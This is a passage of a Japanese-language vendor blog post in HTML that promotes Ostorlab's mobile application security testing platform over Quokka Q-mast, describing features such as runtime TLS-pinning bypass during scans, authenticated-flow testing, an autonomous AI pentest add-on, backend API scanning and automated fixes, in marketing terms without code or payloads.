&lt;td style="text-align: left;"&gt;&lt;strong&gt;実行時のエビデンスと可視性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;フルスタックアクセス&lt;/strong&gt;：PCAPキャプチャ、ライブのトラフィックログ、スタックトレース、スクリーンショットを提供。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実行コンテキストが限られた、またはブラックボックス的なログによる従来型のセキュリティアラート。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;バグを素早く再現・修正するために必要な、正確で検証可能なエビデンスを開発者に提供する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;フレームワークとの互換性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Flutter、React Native、Java、Kotlin、Swift、C/C++のネイティブな実行時テスト。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;バイナリ中心。動的な探索は限定的、またはフレームワークに依存することが多い。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モダンなハイブリッドおよびクロスプラットフォームのスタック全体で、一貫した動的カバレッジを保証する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;高度なアドオンエンジン&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Agentic Deep Scan（オプション）&lt;/strong&gt;：論理的なエクスプロイトを連鎖させ、修正を再テストする自律型AIペンテスト。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;同等の自律型エージェントによるペンテストモジュールは提供されていない。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;手動コンサルティングのオーバーヘッドなしに、オンデマンドで深いロジックのペンテストを実現する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;修復ワークフロー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ワンクリックの自動セキュアコード修正 + テストサイクルを通じた継続的な検証。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;静的な脆弱性レポート、チケット管理、SBOMマッピング。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;平均修復時間（MTTR）を短縮し、脆弱性が解消されたことを自動的に実証する。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="パート1:ostorlabのベースdastがquokka q-mastに勝る理由"&gt;&lt;strong&gt;パート1：OstorlabのベースDASTがQuokka Q-mastに勝る理由&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;高度なAIアドオンを見る前に、まずは基盤となる動的テストについて決着をつける必要があります。マーケティング上の飾りを取り払い、両方のプラットフォームを実際のCI/CDパイプラインにデプロイしたとき、それぞれの中核となるDASTエンジンは実行時に実際どのように機能するのでしょうか。&lt;/p&gt;
&lt;p&gt;Quokka Q-mastは価値のある動的チェックと強制パス実行を提供しますが、そのDNAは静的な脆弱性マッピングとコンプライアンスレポーティングに根ざしています。OstorlabはDASTにまったく異なる角度から取り組んでいます。それは、高速に開発を進めるエンジニアリングチームのために構築された実行時の実行です。以下では、5つの重要な実行時の柱において、Ostorlabが従来の動的解析をどのように上回るかを説明します。&lt;/p&gt;
&lt;h3 id="1. 硬直的なスクリプトに代わるプロンプトベースのフローカスタマイズ"&gt;&lt;strong&gt;1. 硬直的なスクリプトに代わるプロンプトベースのフローカスタマイズ&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;QAエンジニアやセキュリティエンジニアに、なぜDASTの自動化が嫌いなのかを尋ねれば、返ってくる答えはまったく同じです。保守負荷の高いテストスクリプトです。従来の動的ツールでは、スキャナーに正しい画面を見させるためだけに、複雑なAppiumスクリプトを書いたり、何日もかけてUIの実行パスを手作業でマッピングしたりしなければならないことがよくあります。フロントエンドの開発者がUIコンポーネントを少し調整したり、大規模なリデザインをプッシュしたりするたびに、自動化されたセキュリティテストは壊れてしまいます。&lt;/p&gt;
&lt;p&gt;Ostorlabは、&lt;strong&gt;Prompt-Based Flow Customization&lt;/strong&gt;によって壊れやすいスクリプトをなくします。硬直的な実行パスをコーディングする代わりに、チームはプレーンテキストのプロンプトでスキャナーを誘導します。エンジンに注目してほしい点を自然言語で伝えるだけです。たとえば、&lt;em&gt;「ショッピングカートに移動し、割引コードを適用し、決済ゲートウェイに入力検証の欠陥がないかテストしてください。」&lt;/em&gt;のように伝えます。&lt;/p&gt;
&lt;p&gt;DASTエンジンは稼働中のアプリを動的に探索し、関連するUIコンポーネントを自ら見つけ出し、ビジネスロジックが存在する場所にテストペイロードを正確に集中させます。通常なら手動のテスト設定に何日もかかる作業が、5分のパイプラインセットアップにまで短縮されます。&lt;br/&gt;
&lt;figure&gt;&lt;img alt="Ostorlab Monkey Tester" class="img-fluid" src="https://blog.ostorlab.co/static/img/ostorlab_vs_quokka/Ostorlab_monkey_tester.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="2. 実行時におけるシールド(tlsピンニングと難読化)のバイパス"&gt;&lt;strong&gt;2. 実行時におけるシールド（TLSピンニングと難読化）のバイパス&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;現代のモバイルアプリが無防備な状態でリリースされることはまれです。リバースエンジニアリングや盗聴を防ぐために、開発者は&lt;a href="https://blog.ostorlab.co/android-ssl-pinning.html" target="_blank"&gt;TLS証明書ピンニング&lt;/a&gt;や強力なコードの難読化といった実行時の保護をデプロイします。こうしたシールドは防御には優れていますが、標準的なDASTスキャナーにとっては大きな頭痛の種です。従来のスキャナーは、ピン留めされた証明書や独自の暗号化に遭遇すると何も見えなくなり、より深いネットワーク解析ができなくなって検出漏れを生みます。&lt;/p&gt;
&lt;p&gt;Ostorlabは、&lt;strong&gt;Automated Runtime Bypasses&lt;/strong&gt;によってこの障害に標準で対処します。スキャナーが実機のiOSおよびAndroid端末上でアプリを起動すると、TLSピンニングを能動的にバイパスし、一般的な難読化の障壁をその場で解除します。アプリを単なるブラックボックスとして扱うのではなく、Ostorlabは暗号化されたネットワークトラフィックを開き、アプリの実行中に内部のAPI通信を検査します。セキュリティスキャナーのためだけに、開発者に保護機能を取り除いた特別なテストビルドを作ってもらう必要なく、アプリの内部挙動を明確に把握できます。&lt;/p&gt;
&lt;h3 id="3. 認証済みワークフローへの対応とログイン後のカバレッジ"&gt;&lt;strong&gt;3. 認証済みワークフローへの対応とログイン後のカバレッジ&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;モバイルアプリケーションセキュリティには公然の秘密があります。最も重大な脆弱性の多くは、公開されたログイン画面には存在しないということです。それらは、ゲートされたユーザージャーニー、ユーザープロファイルの設定、チェックアウトフロー、アカウント管理ダッシュボードの中に潜んでいます。それにもかかわらず、レガシーなDASTスキャナーは認証の障壁に遭遇した瞬間に失敗することがよくあります。ツールが二要素認証（2FA）、ワンタイムパスワード（OTP）、複雑なOAuthフローに対応できなければ、ログイン後のアタックサーフェスには決して到達できません。&lt;/p&gt;
&lt;p&gt;Ostorlabは、&lt;strong&gt;&lt;a href="https://ostorlab.co/product/authentication" target="_blank"&gt;Advanced Authentication Handling&lt;/a&gt;&lt;/strong&gt;によってこの問題をネイティブに解決します。エンジンは、複雑なログインシーケンスをまたいで永続的な認証済みセッションを維持するように構築されています。トークンを保持し、動的なセッションの更新を処理し、接続を切ることなく複数ステップのサインインを進みます。レガシーなツールがログインゲートで失敗したり、一時的なバイパストークンのハードコードを強いたりする一方で、Ostorlabは実際のユーザーと同じように、ゲートされたユーザージャーニーを継続的にマッピングしてテストします。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabの認証オプション" class="img-fluid" src="https://blog.ostorlab.co/static/img/ostorlab_vs_quokka/Ostorlab_authentication_options.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="4. 検証可能なアーティファクト:pcap、スタックトレース、スクリーンショット"&gt;&lt;strong&gt;4. 検証可能なアーティファクト：PCAP、スタックトレース、スクリーンショット&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;脆弱性を見つけることは、戦いの半分にすぎません。セキュリティツールが問題を見つけたことを開発者に通知するだけで、それが&lt;em&gt;どのように&lt;/em&gt;起きたかを説明しなければ、バグを再現しようとするトリアージ会議で何日も無駄にすることになります。Quokka Q-mastはSBOMエンジンによって脆弱なライブラリのバージョンを特定することに優れていますが、実行時のロジックの欠陥となると、エンジニアにはより深い実行コンテキストが必要です。&lt;/p&gt;
&lt;p&gt;Ostorlabは、すべての脆弱性の検出結果を、確固たる証拠を必要とする法廷の案件のように扱います。DASTエンジンが問題をフラグ付けすると、完全な実行時エビデンスのパッケージを開発者に渡します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ネットワークの完全な可視性&lt;/strong&gt;：生のPCAPネットワークトラフィックファイルと、正確なAPIペイロードを示す整理されたリクエスト／レスポンスのログ。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;詳細なシステムコンテキスト&lt;/strong&gt;：実行中にコードがどこで失敗したかを正確に特定する、リアルタイムのスタックトレースと端末のクラッシュログ。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;視覚的な証拠&lt;/strong&gt;：エクスプロイトを発動させるためにエンジンが操作したボタンと画面を正確に示す、同期されたスクリーンショットとステップごとの視覚的なリプレイログ。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;開発者は、何が問題だったのかを推測する必要がありません。アーティファクトを手に取り、漏えいを引き起こした正確なネットワークリクエストやUIシーケンスを確認し、すぐにパッチの作成に取りかかれます。&lt;/p&gt;
&lt;h3 id="5. グローバルなアプリの取得と地域限定アプリのテスト"&gt;&lt;strong&gt;5. グローバルなアプリの取得と地域限定アプリのテスト&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;特定の地域でのみリリースされているアプリケーションのテストは、物流上の悪夢になりかねません。通常、チームはサードパーティのサイトからローカライズされたAPKやIPAを手作業で探し出さなければなりません。&lt;/p&gt;
&lt;p&gt;Ostorlabはこの手間を完全に取り除きます。プラットフォームから直接、App StoreまたはPlay Storeを国別にネイティブに検索できます。特定の一か国でのみ提供されているアプリケーションをテストしたい場合は、地域を選択するだけで、Ostorlabが正しいローカライズ済みバイナリを自動的に取得します。これにより、グローバルなアプリケーションポートフォリオを、地域のユーザーが体験するとおりにテストできます。
&lt;figure&gt;&lt;img alt="国別フィルターによるスキャン" class="img-fluid" src="https://blog.ostorlab.co/static/img/ostorlab_vs_quokka/country_filter_scan.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="パート2:オプションの強力な機能、agentic deep scan"&gt;&lt;strong&gt;パート2：オプションの強力な機能、Agentic Deep Scan&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;当社の基盤となるMobile DASTだけでも、標準的な動的アナライザーに対して大きな優位性をチームにもたらします。しかし、脅威モデルが、リグレッションバグや標準的な実行時クラッシュの検出を超えるテストを必要とする場合はどうでしょうか。&lt;/p&gt;
&lt;p&gt;これまで、複雑なビジネスロジックのエラー、権限昇格の経路、複数ステップの認可バイパスを探し出すには、高額な人間のペンテスト会社を雇う必要がありました。標準的な自動スキャナーは、どれほど優れたルールを持っていても、論理的な弱点を連鎖させるのに必要な創造的な問題解決能力を備えていません。&lt;/p&gt;
&lt;p&gt;ここで、OstorlabはQuokka Q-mastのようなツールと完全に一線を画します。自動DASTと手動コンサルティングの間のギャップを埋めるために、Ostorlabは&lt;strong&gt;Agentic Deep Scan&lt;/strong&gt;を導入しました。これはオプションの&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan" target="_blank"&gt;自律型AIペンテスト&lt;/a&gt;モジュールで、CI/CDパイプラインの中で働く粘り強い人間の研究者のように振る舞います。&lt;/p&gt;
&lt;h3 id="1. 基盤となるdastだけでは不十分な場合"&gt;&lt;strong&gt;1. 基盤となるDASTだけでは不十分な場合&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;標準的なDASTは日常的な主力ツールです。簡単に見つかる問題を捕捉し、実行時の設定を検証し、すべてのプルリクエストでアプリが継続的なセキュリティチェックに合格することを保証します。しかし、特定の脆弱性クラスには人間のような直感が必要です。&lt;/p&gt;
&lt;p&gt;リソースを作成する際に、攻撃者がPOSTリクエストで既存のIDを渡すことで、他人のデータの所有権を自分に移せてしまうエンドポイントを想像してください。サーバーは有効な200 OKレスポンスを返すため、従来のスキャナーはこのオブジェクトレベルの認可の不備（BOLA/IDOR）の脆弱性を毎回見逃します。構文は正しくても、ロジックが壊れているのです。こうした複雑な欠陥を捕捉するには、アプリケーションのコンテキストを理解し、仮説を立て、ビジネスロジックを能動的に破ろうとするエンジンが必要です。&lt;/p&gt;
&lt;h3 id="2. agentic deep scanが追加するもの"&gt;&lt;strong&gt;2. Agentic Deep Scanが追加するもの&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Agentic Deep Scanを実行するとき、単に事前設定されたペイロードの一覧を実行しているわけではありません。アプリケーションを内側から能動的に調査する自律型AIエージェントをデプロイしているのです。&lt;/p&gt;
&lt;p&gt;最初のテストを実行する前に、エンジンはモバイルバイナリをリバースエンジニアリングします。内部のディープリンク、WebView、URLハンドラー、候補となる関数をマッピングし、関連するコードを自動的に逆コンパイルして、コンポーネント同士がどのように相互作用するかを理解します。アプリの内部的なメンタルマップを構築すると、エージェントは攻撃の計画を始めます。複雑な認証済みユーザージャーニーを進み、二要素認証（2FA）やワンタイムパスワード（OTP）の障壁に対処し、クライアントサイドの信頼境界をテストします。&lt;/p&gt;
&lt;p&gt;ノイズの多いアラートをJiraボードに大量に投下する代わりに、エンジンは実際に悪用できるものだけを報告します。すべての検出結果には、証拠として通用するレベルのエビデンスが付きます。正確なリクエストとレスポンスのログ、端末のクラッシュテレメトリ、そしてエクスプロイトがどのように成功したかをエンジニアに正確に示すステップごとのスクリーンショットです。&lt;/p&gt;
&lt;h3 id="3. 自動化された検証再テスト"&gt;&lt;strong&gt;3. 自動化された検証再テスト&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;AppSecにおける最も厄介なボトルネックの一つは、開発者とセキュリティアナリストの間で終わりなく続くやり取りです。開発者が重大なロジック脆弱性のパッチをリリースしてチケットを解決済みにしても、セキュリティチームには翌週までアプリを手動で再テストする余力がありません。&lt;/p&gt;
&lt;p&gt;Agentic Deep Scanは、&lt;strong&gt;Verification Retesting&lt;/strong&gt;によってこのフィードバックループ全体を自動化します。開発者がコード修正をプッシュした瞬間に、エージェントは実機上でターゲットアプリを再び起動し、最初にアプリを突破したときとまったく同じ複数ステップのエクスプロイトチェーンを再実行します。修正が有効であれば、チケットは修復が確認された証拠とともに自動的にクローズされます。開発者は、人間がボトルネックになるのを待つことなく、パッチが機能したことを即座に確認できます。&lt;/p&gt;
&lt;h3 id="4. 管理されたaiコンピュート(cyber modelsとbyok)"&gt;&lt;strong&gt;4. 管理されたAIコンピュート（Cyber ModelsとBYOK）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;フロンティアAIモデルをセキュリティテストに活用するのは、クラウドインフラの請求書が届くまでは素晴らしい話に聞こえます。制御されていないAIエージェントはあっという間にトークンを消費し、予測不能な請求とCFOのパニックを招きます。Quokka Q-mastは、管理されたエージェント型インフラを持たない従来型のソフトウェアライセンスモデルで運用されており、LLMワークフローを組み込みたいチームは自力で対応しなければなりません。&lt;/p&gt;
&lt;p&gt;Ostorlabは、管理型でプリペイド式のAIインフラティアである&lt;strong&gt;Cyber Models&lt;/strong&gt;によって、予算の問題をネイティブに解決します。外部のAPIキーをやりくりしたりレート制限を心配したりする代わりに、チームはプリペイドクレジットを使って統合されたワークスペースのウォレットに資金を入れます。ディープスキャンを開始する前に、厳格な支出上限を定めるエフォートプロファイル（Core、Advanced、Elite）を選択します。GPT-5.5 CyberやOpus 4.8のような強力なセキュリティモデルに、管理された形でアクセスできます。何より、AIが早期に脆弱性を見つけて予定より早く調査を終えた場合、未使用のトークンは自動的にワークスペースのウォレットに返金されます。&lt;/p&gt;
&lt;p&gt;厳格な社内データポリシーを持つ組織向けに、Ostorlabは&lt;strong&gt;BYOK（Bring Your Own Key）&lt;/strong&gt;にも対応しています。自社のAIプロバイダーの認証情報を接続し、「Max Spend per Scan」という厳格なガードレールを設定できるため、ディープな探索をコンプライアンスに準拠した予測可能な形で、完全に自社の管理下に置けます。&lt;/p&gt;
&lt;h2 id="パート3:フルスタックのアタックサーフェスと自動修復"&gt;&lt;strong&gt;パート3：フルスタックのアタックサーフェスと自動修復&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;クライアントサイドのバグを見つけるのは素晴らしいことですが、端末の境界で止まってしまうモバイルスキャナーは、最大の死角を開け放したままにしています。現実の世界では、モバイルの侵害が、攻撃者がローカルのSQLiteデータを盗んだことによって起きることはまれです。侵害が起きるのは、クライアントサイドの脆弱性がサーバーサイドのバックエンドの欠陥への扉を開いたときです。&lt;/p&gt;
&lt;p&gt;DevSecOpsチームに完全な可視性を提供するため、Ostorlabはモバイルアプリケーションのスキャンを、バックエンドインフラ、能動的な防御の検証、開発者の修復ワークフローに直接結び付けます。以下では、Ostorlabがアタックサーフェスを拡大しながら、開発者がこれまで以上に速くバグを修正できるようにする仕組みを説明します。&lt;/p&gt;
&lt;h3 id="1. バックエンドのrestおよびgraphql apiスキャン"&gt;&lt;strong&gt;1. &lt;a href="https://ostorlab.co/product/backend_api_network" target="_blank"&gt;バックエンドのRESTおよびGraphQL APIスキャン&lt;/a&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Quokka Q-mastを見ると、その重心はコンパイル済みのモバイルバイナリとそのソフトウェア部品表（SBOM）にあります。これはソフトウェアサプライチェーンのコンプライアンスには不可欠ですが、アプリを支えるバックエンドサーバーは無視されています。アプリが脆弱なRESTエンドポイントや情報が漏れやすい&lt;a href="https://blog.ostorlab.co/defending-against-graphQL-attacks.html" rel="noopener noreferrer" target="_blank"&gt;GraphQL API&lt;/a&gt;と通信している場合、バイナリのみを対象とするスキャナーはその脅威を完全に見逃します。&lt;/p&gt;
&lt;p&gt;Ostorlabは、モバイルアプリとそのバックエンドAPIを一つの統合されたエコシステムとして扱います。エンジンはアプリを探索しながら、同時にネットワークトラフィックを傍受し、関数呼び出しをマッピングし、サーバーサイドの通信をテストします。500を超える個別の脆弱性クラスにわたって、クライアントからサーバーへのロジックの欠陥、バックエンドのインジェクションポイント、データ漏えいを能動的に探します。サーバーサイドのリスクに対してセキュリティチームを盲目にする代わりに、Ostorlabはモバイルクライアントとクラウドインフラの両方にまたがるエクスプロイトチェーン全体を捕捉します。&lt;/p&gt;
&lt;h3 id="2. 受動的な難読化チェックに代わる能動的なシールディング検証"&gt;&lt;strong&gt;2. 受動的な難読化チェックに代わる能動的なシールディング検証&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;エンジニアリングチームが商用の難読化や実行時アプリケーション自己保護（RASP）にお金を払っているなら、それらの防御がプレッシャーの下で実際に機能するかを知る必要があります。従来のスキャナーは通常、受動的な検出で済ませています。バイナリをスキャンし、既知の難読化ライブラリを見つけ、静的なコンプライアンスのチェックボックスにチェックを入れるだけです。しかし、存在することは実証ではありません。&lt;/p&gt;
&lt;p&gt;Ostorlabは、理論上のチェックリストを&lt;strong&gt;Mobile Shielding Scan&lt;/strong&gt;に置き換えます。これは、実機のiOSおよびAndroid端末上で実行時の防御を検証する自動テストモジュールです。適応型のAIアナリストがアプリを能動的に攻撃し、ライブのデバッガーをデプロイし、関数をフックし、root検知、改ざん防止、SSLピンニングに対して対話型のバイパスループを実行します。&lt;/p&gt;
&lt;p&gt;防御レイヤーが破られた場合、Ostorlabはバイパスの具体的な証拠を提示します。シールドがAIに対して持ちこたえた場合は、OWASP MASVSのようなグローバルなモバイルセキュリティ標準に直接マッピングされた、検証済みの強度評価が得られます。「自社のアプリが保護されていることを願う」状態を、確かなエンジニアリング上の証拠へと変えられます。&lt;/p&gt;
&lt;h3 id="3. 重み付けされたエンタープライズ向けアプリベッティング"&gt;&lt;strong&gt;3. 重み付けされたエンタープライズ向けアプリベッティング&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;エンタープライズのセキュリティリーダーは、大規模なアプリケーションポートフォリオを監査する際に、アラート疲れに悩まされることがよくあります。基本的なスキャナーは、軽微なデータプライバシーの警告を重大なリモートコード実行の脆弱性と同じ緊急度で扱う、平板でノイズの多い重大度リストを大量に出力します。&lt;/p&gt;
&lt;p&gt;Ostorlabは、エンタープライズの承認プロセス向けに特化して設計されたリスク評価フレームワークである&lt;strong&gt;&lt;a href="https://blog.ostorlab.co/definitive-guide-mobile-app-vetting.html" target="_blank"&gt;App Vetting&lt;/a&gt;&lt;/strong&gt;によって、このノイズの問題を解決します。未検証のチケットで受信トレイをあふれさせる代わりに、プラットフォームは静的解析、動的テスト、安全なサンドボックスでの実行を組み合わせて、5つの重要な次元にわたる文脈に応じた重み付きリスクスコアを算出します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;マルウェア（35%）&lt;/strong&gt;：悪意のある振る舞い、トロイの木馬、疑わしいテレメトリの検知。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ（25%）&lt;/strong&gt;：悪用可能な実行時およびコードレベルの脆弱性のマッピング。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プライバシー（20%）&lt;/strong&gt;：不正なデータ追跡とサードパーティとのデータ共有の監査。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信頼性（10%）&lt;/strong&gt;：アプリの署名証明書とインストール元の正当性の検証。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保守性（10%）&lt;/strong&gt;：古くなった依存関係とアーキテクチャの劣化の評価。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この構造化されたスコアリングモデルにより、新しいモバイルアプリを社用端末全体に展開しても安全かどうかをセキュリティ委員会に即座に示すことができ、エンタープライズのリスク管理を明快で予測可能な状態に保てます。&lt;/p&gt;
&lt;h3 id="4. 詳細なプライバシースキャンとコンプライアンス"&gt;&lt;strong&gt;4. 詳細なプライバシースキャンとコンプライアンス&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;セキュリティ上の欠陥に加えて、DevSecOpsチームは規制上のリスクにも対処しなければなりません。Ostorlabは包括的な&lt;strong&gt;Privacy Scan&lt;/strong&gt;を提供しており、アプリケーションがどのようなデータを収集しているか、それがどのように収集されているか、そしてユーザーのプライバシーにどのような影響があるかを正確に把握できます。このスキャンは、データ収集の実態に関する詳細なインサイトを提供してプライバシー規制の遵守を支援し、不正なサードパーティによる追跡やデータ漏えいを能動的に特定します。
&lt;figure&gt;&lt;img alt="プライバシースキャンの検出結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/ostorlab_vs_quokka/Privacy_scan_findings.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="5. ワンクリック修正とライフサイクル全体での継続的な検証"&gt;&lt;strong&gt;5. ワンクリック修正とライフサイクル全体での継続的な検証&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;セキュリティバグを見つけることは仕事の半分にすぎません。次のリリース期限までにそれらを修正することこそ、エンジニアリングチームがつまずきやすい点です。静的なSBOMレポートを生成してJiraチケットを登録することは役に立ちますが、それでも開発者には、パッチの書き方を突き止めるための何時間もの手作業の調査が残ります。&lt;/p&gt;
&lt;p&gt;Ostorlabは&lt;strong&gt;One-Click Automated Fixes&lt;/strong&gt;によってこのループを閉じます。ソースコードリポジトリ（GitHub、GitLab、Bitbucket、Azure DevOpsに対応）に直接接続することで、Ostorlabは脆弱な逆コンパイル済みバイナリを生のコードとあわせて解析します。AIが問題を検出すると、アプリのアーキテクチャに合わせてカスタマイズされた安全なコードの提案を生成します。&lt;/p&gt;
&lt;p&gt;開発者は汎用的なドキュメントを探し回る必要がありません。いつものワークフローの中でAIが推奨するコードの差分をレビューし、ワンクリックでパッチを適用することで、平均修復時間（MTTR）を数時間から数分へと大幅に短縮できます。&lt;/p&gt;
&lt;p&gt;さらに、Ostorlabは&lt;strong&gt;テストサイクルを通じた検証&lt;/strong&gt;を提供します。アプリケーションをスキャンして脆弱性が見つからなかった場合、その脆弱性は修正済みかつ検証済みとしてマークされます。この継続的な検証により、セキュリティ態勢が常に最新の状態に保たれ、チケットを手作業でトリアージする必要がなくなります。&lt;/p&gt;
&lt;h2 id="quokkaではなく、ostorlabを選ぶべき場合"&gt;&lt;strong&gt;Quokkaではなく、Ostorlabを選ぶべき場合&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Ostorlabは、高速に開発を進めるエンジニアリングチームと、モダンなフルスタックのアプリケーションアーキテクチャ向けに特化して構築されています。次のような場合はOstorlabを導入すべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;クロスプラットフォームまたはハイブリッドのアプリを開発している&lt;/strong&gt;：開発者がFlutter、React Native、MAUI、Kotlin、Swiftを使ってコードをリリースしており、それらのフレームワークを壊すことなくネイティブに理解する実行時スキャナーが必要な場合。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アプリが複雑な認証と自己防御に依存している&lt;/strong&gt;：TLSピンニングと難読化を自動的にバイパスし、2FAやOTPのログイン画面を通じて永続的なセッションを維持し、実機を使ってRASPの防御レイヤーを能動的にテストできるスキャナーが必要な場合。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サーバーサイドのAPIセキュリティを重視している&lt;/strong&gt;：モバイルの脆弱性は通常インフラにつながっていることを認識しており、クライアントアプリとそのバックエンドのRESTまたはGraphQLエンドポイントの両方をテストする統合スキャナーを求めている場合。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手動ペンテストのボトルネックを解消したい&lt;/strong&gt;：論理的なエクスプロイトを自律的に連鎖させ、開発者のパッチが実際に機能したかを自動的に検証するために、Agentic Deep Scanを実行できる選択肢がほしい場合。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;開発者向けのワンクリック修復が必要&lt;/strong&gt;：ノイズの多いPDFレポートをエンジニアに押し付けるのをやめ、代わりにAIが生成したコード修正をGitHub、GitLab、Jira、Azure DevOpsのワークフローに直接送りたい場合。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="よくある質問"&gt;&lt;strong&gt;よくある質問&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;DevSecOpsエンジニアがMASTプラットフォームを評価する際には、通常、直接的で高度に技術的な質問が寄せられます。OstorlabとQuokka Q-mastに関する最も一般的な質問に対して、明確で信頼できる回答を以下にまとめました。&lt;/p&gt;
&lt;h3 id="ostorlabのベースとなるmobile dastはquokka q-mastとどう違うのですか"&gt;&lt;strong&gt;OstorlabのベースとなるMobile DASTはQuokka Q-mastとどう違うのですか&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;どちらのツールもソースコードへのアクセスなしに動的解析を行いますが、実行時の動作が異なります。Quokka Q-mastは、事前に設定された実行パスと手動のスクリプティングに依存しています。Ostorlabは、プロンプトベースのフローカスタマイズを使って数分でセットアップでき、TLSピンニングとコードの難読化をネイティブにバイパスし、複雑なログイン画面をまたいで認証済みセッションを維持し、PCAPキャプチャやスタックトレースのような完全な実行時エビデンスを開発者に提供します。&lt;/p&gt;
&lt;h3 id="ostorlab mobile dastとagentic deep scanの違いは何ですか"&gt;&lt;strong&gt;Ostorlab Mobile DASTとAgentic Deep Scanの違いは何ですか&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ostorlab Mobile DASTは、日常的なCI/CDパイプラインへの組み込み向けに設計された自動化された実行時スキャナーで、すべてのプルリクエストでリグレッションバグや標準的な脆弱性を捕捉します。Agentic Deep Scanは、オンデマンドで動く人間のハッカーのように振る舞う、オプションの自律型AIペンテストエンジンです。コードを逆コンパイルし、複雑な論理的欠陥を連鎖させ、2FAやOTPの障壁に対処し、開発者がパッチをプッシュするとアプリを自動的に再テストします。&lt;/p&gt;
&lt;h3 id="ostorlabは認証が必要なモバイルアプリのワークフローを自動的にテストできますか"&gt;&lt;strong&gt;Ostorlabは認証が必要なモバイルアプリのワークフローを自動的にテストできますか&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;はい。ログインゲートに遭遇すると止まってしまうレガシーなスキャナーとは異なり、Ostorlabは高度な認証処理を備えています。複数ステップのログイン、OAuthフロー、二要素認証（2FA）、ワンタイムパスワード（OTP）をネイティブに管理し、ゲートされたユーザージャーニーやアカウント管理画面が深い動的テストを受けられるようにします。&lt;/p&gt;
&lt;h3 id="quokka q-mastはostorlabと比べてバックエンドapiをスキャンしますか"&gt;&lt;strong&gt;Quokka Q-mastはOstorlabと比べてバックエンドAPIをスキャンしますか&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Quokka Q-mastは、ほぼ完全にコンパイル済みのモバイルバイナリとそのSBOMを中心にしています。Ostorlabは、モバイルアプリとそのバックエンドAPIを一つのエコシステムとして扱います。アプリをスキャンしながら、Ostorlabはネットワークトラフィックを能動的に傍受し、クライアントからサーバーへのロジックの欠陥、インジェクションの脆弱性、データ漏えいについてバックエンドのRESTおよびGraphQLエンドポイントをテストします。&lt;/p&gt;
